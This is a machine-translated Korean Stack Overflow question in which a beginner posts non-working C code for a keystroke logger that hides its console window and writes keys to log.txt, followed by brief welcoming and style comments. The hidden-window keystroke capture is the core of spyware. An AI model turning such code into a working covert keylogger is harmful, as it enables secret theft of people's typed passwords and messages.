C에서 기본 사항을 배운 후 필자는 일부 Windows API 기능을 연구했습니다. 교육 목적으로, 나는 간단한 키로거를 만들려고 노력했다. 레코드 키 입력만으로 .txt 파일로 저장할 수 있습니다. 나는 인터넷에서 몇 가지 예를 보았지만, 나는 그것을 더 쉽게 만들어 가고 싶다. 여기에 (내가 아직 완료하지 않은 경우) (이 작동하지 않는 이유를 모르겠어요) 내 코드입니다 :내 keylogger가 작동하지 않는 이유는 무엇입니까?
#include <stdio.h>
#include <windows.h>
int main(void)
{
short UserInputtedCharacter;
FILE *LogFile = fopen("log.txt", "a");
//Hide console window
HWND HideWindow;
AllocConsole();
HideWindow = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(HideWindow, 0);
while(1)
{
GetAsyncKeyState(UserInputtedCharacter);
switch(UserInputtedCharacter)
{
case VK_SPACE:
fputc(' ', LogFile);
break;
case VK_RETURN:
fputc('\n', LogFile);
break;
case VK_BACK:
fputs("[BACKSPACE]", LogFile);
break;
case VK_DELETE:
fputs("[DEL]", LogFile);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]", LogFile);
break;
case 0x30:
fputc('0', LogFile);
break;
case 0x31:
fputc('1', LogFile);
break;
case 0x32:
fputc('2', LogFile);
break;
case 0x33:
fputc('3', LogFile);
break;
case 0x34:
fputc('4', LogFile);
break;
case 0x35:
fputc('5', LogFile);
break;
case 0x36:
fputc('6', LogFile);
break;
case 0x37:
fputc('7', LogFile);
break;
case 0x38:
fputc('8', LogFile);
break;
case 0x39:
fputc('9', LogFile);
break;
case 0x61:
fputc('a', LogFile);
break;
case 0x62:
fputc('b', LogFile);
break;
case 0x63:
fputc('c', LogFile);
break;
case 0x64:
fputc('d', LogFile);
break;
}
}
fclose(LogFile);
return 0;
}
프로그램은 .txt 파일에 키 입력을 저장하지 않습니다.
그건 그렇고, 프로그램이 끝나기 전부터, 나는 왜 그것이 작동하지 않는지 궁금합니다.
[so]에 오신 것을 환영합니다. 여기에 다른 젊은 프로그래머를 만나서 반갑습니다. "일하지 않는다"는 것이 무슨 뜻인지 설명해 주시겠습니까? 시간이 생기면 [도움]을보고 우리가 어떻게 일하고 있는지 그리고 여기에서 일하는 방식을 살펴보십시오. 고맙습니다! –
아주 좋아 환영합니다 @ Qantas94 Heavy, very warm –
문자 하나 하나를 모두 작성하는 것은 고통스럽고 반복적입니다 (오류가 발생하기 쉽습니다). 'isincii()','isprint()','isalnum()'과 같은 매크로를'#include'에서 검토해야 코드를 상당히 깍아 내릴 수 있습니다. –